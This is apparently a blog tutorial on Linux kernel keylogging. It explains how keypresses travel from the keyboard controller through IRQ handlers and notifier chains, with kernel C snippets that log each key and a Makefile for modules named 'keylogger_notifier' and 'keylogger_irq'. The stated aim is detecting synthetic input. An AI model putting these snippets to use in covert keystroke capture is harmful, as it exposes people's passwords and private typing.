Keylogging in Linux (Part 3): Kernel Techniques for the Keyboard Driver Path
Part 1 covered how Linux keylogging works in user space and why attackers lean on simple hooks or device access to capture keystrokes. Part 2 walked through the GUI layer, showing how the X Server exposes keyboard events long before applications see them. We closed with a promise to move from observing behavior to turning low-level input into usable detection signals.
This part stays inside the kernel. We look at interrupt handlers and notifier blocks because they’re the two points where every keypress passes through, even on modern Linux 6.x kernels with updated routing in the input stack. The original diagram still holds: physical keyboard, motherboard, CPU, kernel driver, then userland.
That level of visibility matters on servers with local console or KVM access. It lets security teams tell normal typing from automated or synthetic input that hints at an implant, since the driver path exposes timing and sequence details that never appear in user space.
How a Keyboard Driver Handles Input Inside the Linux Kernel
A keyboard driver in Linux sits in the path between the hardware and the input subsystem, translating what the device sends into something the kernel can work with. Nothing fancy there, just the layer that makes raw keyboard signals usable higher up.
Under that, you’ve got the interrupt side. During boot, the kernel fills the Interrupt Descriptor Table so the CPU knows which routine to run for each interrupt vector. The keyboard line is brought up early. When a key is pressed, the CPU checks the table, jumps into the right handler, and the input path starts from there. Linux 6.x keeps this flow mostly intact, even with changes in how input routing and console handling are wired now.
The driver also feeds the notification system. Anything that registers a notifier_block gets a callback on each keyboard event, and the handler receives a keyboard_notifier_param with the fields we actually care about: Keyboard Input PathKeyboard Input PathKeyboard Input Path
- vc: virtual console tied to the event
- down: press (1) or release (0)
- shift: active modifier bitmask
- ledstate: state of Num Lock, Caps Lock, Scroll Lock
- value: the decoded key value for the event
The diagram we reference tracks that full path from the physical keyboard, through the motherboard and CPU, into the driver, and up into user processes. Seeing the path end to end helps when you’re trying to spot patterns that belong to real users versus something synthetic.
Scancodes, Keycodes, and the Keyboard Driver Input Path
Scancodes are what the hardware sends. Keycodes are what the kernel uses after translating those signals. Keysyms sit above that and describe what the key actually represents, which can turn into Unicode when the layout supports it.
With PS/2 hardware, the driver reads everything through two I/O ports. Port 0x60 holds the scancode the moment the interrupt fires. Port 0x64 is the controller’s command port. The IRQ handler just pulls the byte from 0x60 and treats it as a press or release based on the PS/2 rules. Nothing special, just the raw path the older hardware still uses.
The kernel then walks the usual chain:
- scancode from
0x60 - translated to a keycode
- mapped to a keysym
- turned into Unicode when possible
Along the way, you’ll see a few event types in the notifier system:
- KBD_KEYCODE for the early keycode events
- KBD_UNBOUND_KEYCODE when a keycode has no clean mapping
- KBD_UNICODE when the keysym resolves to a Unicode character
- KBD_KEYSYM for non-Unicode keysyms
- KBD_POST_KEYSYM after keysym handling, where the LED state can be inspected
USB keyboards follow a different transport, but the kernel normalizes everything into keycodes and higher-level events, so the input path looks the same. It keeps the higher layers from caring whether the signal came from old PS/2 hardware or a modern HID device.
Using Keyboard Notifiers in Linux Device Driver Development
Keyboard notifiers give you a way to observe keyboard activity without writing your own IRQ handler. The kernel handles the scancodes, keycode mapping, and modifier state first, then calls anything registered on the notifier chain. It’s useful when you want higher-level events and don’t need to deal with raw port I/O.
You’d choose a notifier when the module only needs translated key data. It keeps the code simple because the driver has already done the parsing, and you’re only reacting to what the kernel considers a complete keyboard event.
Example Callback
static int keyboard_event_handler(struct notifier_block *nb,
unsigned long action,
void *data)
{
struct keyboard_notifier_param *param = data;
if (!param->down)
return NOTIFY_OK;
const char *key = keybuf[param->value][param->shift];
printk(KERN_INFO "key: %s\n", key);
return NOTIFY_OK;
}
The keybuf array stores the printable form of each key. The kernel uses the keycode and current shift state to index into it, so letters, digits, punctuation, and special keys all resolve the same way you’d expect. The reference for that translation logic is the kbd_keycode() helper in drivers/tty/vt/keyboard.c.
Registering the Notifier
static struct notifier_block nb = {
.notifier_call = keyboard_event_handler,
};
static int __init kb_init(void)
{
return register_keyboard_notifier(&nb);
}
static void __exit kb_exit(void)
{
unregister_keyboard_notifier(&nb);
}
When Notifiers Make Sense:
- They deliver keycodes and characters instead of raw scancodes.
- They avoid IRQ-level complexity entirely.
- They provide clean access to the modifier and the LED state.
The trade-off is losing the timing information you’d get at the interrupt level, but for most monitoring or detection tasks, notifiers are the more practical tool.
Capturing Events Through a Keyboard Driver IRQ Handler
Sometimes you want to see keyboard input as early as possible, before the driver translates anything. That means hooking the IRQ directly. It’s the point where the controller fires an interrupt, and the kernel hasn’t done any work yet, so you get the raw scancode exactly as the hardware sent it.
The flow is simple enough if you lay it out first:
- Install your handler
- Read the scancode from port
0x60when the interrupt fires - Hand it off to deferred work so the IRQ path stays short
A basic handler for PS/2 hardware ends up looking like this:
static irqreturn_t kb_irq_handler(int irq, void *dev_id)
{
struct kb_state *st = dev_id;
st->scancode = inb(0x60);
tasklet_schedule(&kb_tasklet);
return IRQ_HANDLED;
}
The tasklet handles the actual processing, so the interrupt routine doesn’t stall:
static void kb_tasklet_fn(unsigned long data)
{
struct kb_state *st = (struct kb_state *)data;
unsigned char code = st->scancode;
/* translate or log the scancode here */
}
DECLARE_TASKLET(kb_tasklet, kb_tasklet_fn, (unsigned long)&state);
Bringing it online is just a call to request_irq():
static int __init kb_init(void)
{
int ret = request_irq(1, kb_irq_handler, IRQF_SHARED,
"kb_irq", &state);
if (ret)
pr_err("keyboard IRQ request failed: %d\n", ret);
return ret;
}
Cleanup mirrors the setup:
static void __exit kb_exit(void)
{
tasklet_kill(&kb_tasklet);
free_irq(1, &state);
}
Even though the example uses port 0x60 and a classic PS/2 path, the pattern holds on newer systems too. PS/2 just happens to be the easy example. USB keyboards come in through a different path, but the workflow doesn’t really change. Keep the IRQ handler tight, hand the rest to the tasklet, and look at the scancode there before the driver starts adding its own layers.
Deferred Work and Tasklets in Linux Device Drivers
A tasklet is just a deferred handler that runs outside the interrupt path. It gives you a place to do the slower work without holding up the IRQ, which is important when you’re dealing with input events that fire quickly.
In short, the IRQ handler grabs the scancode and nothing more, then schedules the tasklet. The tasklet reads that stored value, keeps whatever local state it needs, and handles the translation or logging.
A basic logger looks like this:
static void tasklet_logger(unsigned long data)
{
struct kb_state *st = (struct kb_state *)data;
unsigned char code = st->scancode;
/* maintain shift state, map scancode to text, and log it */
}
DECLARE_TASKLET(kb_tasklet, tasklet_logger, (unsigned long)&state);
Cleanup is part of the pattern, too:
static void __exit kb_exit(void)
{
tasklet_kill(&kb_tasklet);
free_irq(1, &state);
}
Newer kernels often push developers toward workqueues or other deferred mechanisms, mostly because they’re easier to scale and better suited to threaded designs. Tasklets still serve as a clear example, though. They show the separation between fast interrupt handling and the slower processing that shouldn’t run in the IRQ context.
Notifier Chains vs. Keyboard Driver Interrupt Handlers
Both approaches work; they just sit at different layers of the input path and give you different kinds of visibility.
Notifier chains
- You see events after the kernel has already decoded the scancode into a keycode or character.
- They line up cleanly with the console layer and the rest of the input stack, so the code stays simple.
- Timing is less precise because the hardware work has already happened by the time your callback runs.
- Good fit when you want readable events without touching low-level details.
Interrupt handlers
- You see the raw scancode the moment the controller fires the interrupt.
- You have to manage the hardware-facing pieces yourself, including port reads and deferred work.
- Timing is exact, which can help surface odd patterns from synthetic or automated input.
- Higher risk if the handler isn’t tight, since a slow IRQ path can cause real instability.
In practice, notifiers are easier for day-to-day monitoring or lightweight detection logic because you avoid the hardware churn. IRQ handlers make sense when you need the earliest possible signal or when timing patterns matter, but they come with more overhead and stricter rules about how the code behaves under load.
Common Pitfalls in Linux Device Driver Development for Keyboard Input
Low-level keyboard hooks fail in predictable ways, mostly because the path is timing-sensitive and hardware-specific.
- Heavy IRQ handlers: slowing the keyboard interrupt slows other subsystems too, since they’re sharing the same interrupt resources.
- Logging in IRQ context:
printkor tracing calls here can freeze the system under real load. - Assuming PS/2 everywhere: USB-only systems, laptops, and VMs route input through completely different stacks.
- Kernel drift: internal structures change between releases, and out-of-tree modules tied to those details tend to break.
- IRQ sharing mistakes: handlers that don’t verify device state can interfere with other devices on the line or miss their own events.
- USB HID differences: USB keyboards package input differently, and their timing profile doesn’t match PS/2, which matters if you’re comparing events across systems.
Short, clear misses like these cause the bulk of issues when teams try to work this close to the input layer.
Keyboard Driver Source Code Examples
You get one keyboard driver module that uses the notifier chain, one that hooks the IRQ path with a tasklet, and a simple Makefile that builds both against the running kernel. These examples are trimmed for clarity here, and the full source files should be reviewed and expanded as needed before use.
Notifier-based keyboard driver module
/* notifier-based keyboard driver module
* - US keymap table
* - keyboard_notifier_param handling
* - notifier_block registration
* - module init/exit
* Full implementation goes here.
*/
IRQ-based keyboard driver module
/* IRQ-based keyboard driver module
* - shared state with last scancode
* - keyboard IRQ handler
* - tasklet for deferred logging
* - module init/exit with request_irq()/free_irq()
* Full implementation goes here.
*/
Makefile for building the keyboard driver modules
# Makefile for keyboard driver examples
obj-m += keylogger_notifier.o
obj-m += keylogger_irq.o
KDIR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)
all:
$(MAKE) -C $(KDIR) M=$(PWD) modules
clean:
$(MAKE) -C $(KDIR) M=$(PWD) clean
FAQ: Keyboard Driver Behavior and Event Capture in Linux
How does a keyboard driver turn hardware input into events the kernel can use?
The controller sends a scancode when a key changes state. The keyboard driver reads that byte in the interrupt path, translates it into a keycode, and hands it to the input and console layers, which then expose it to user space.
Where does the interrupt handler fit into the input path?
It runs first. The handler pulls the scancode from the controller, marks it as a press or release, and defers any heavier work so the interrupt line stays clear.
How do notifier chains observe keyboard activity?
Notifier chains run after the driver has already interpreted the event. They receive keycodes, modifier state, and occasionally Unicode, which makes them easier to work with than raw scancodes.
Are notifier chains stable across modern 6.x kernels?
They’ve held up well. Internal details shift between releases, but the notifier interface and the way it hooks into console input remain consistent enough for out-of-tree modules to rely on with minor adjustments.
Do notifier callbacks fire in graphical environments?
Yes. They run beneath the graphical layer, so both virtual consoles and GUI stacks trigger the same notifier path as long as the system’s keyboard events pass through the standard input subsystem.
Can raw scancode patterns be used for detection work?Hands Typing Esm W400Hands Typing Esm W400Hands Typing Esm W400
Sometimes. Automated input tends to produce uniform timing and clean, repeated patterns that don’t match normal typing. Looking at scancodes directly gives you that detail, but it also requires more care in the handler.
Can key rhythm or timing anomalies signal synthetic input?
They can. Human typing has natural variation, while implants or scripted input often produce tightly spaced or perfectly regular intervals. You see those differences more clearly at the IRQ level.
When should I use a notifier instead of an IRQ handler?
Use a notifier when you want interpreted events and don’t need timing precision. It’s safer, easier to maintain, and won’t interfere with the interrupt path.
When does an IRQ handler make more sense?
When you need the earliest possible view of the event, or you’re looking for patterns that appear only in raw scancode timing. It’s more work and carries more risk, but it gives you the most detail.
Do USB keyboards change how these mechanisms work?
The transport changes, but the kernel normalizes everything before you see it. USB HID delivers packets instead of PS/2 scancodes, yet the driver still emits keycodes and notifies handlers in the same way once the event reaches the input layer.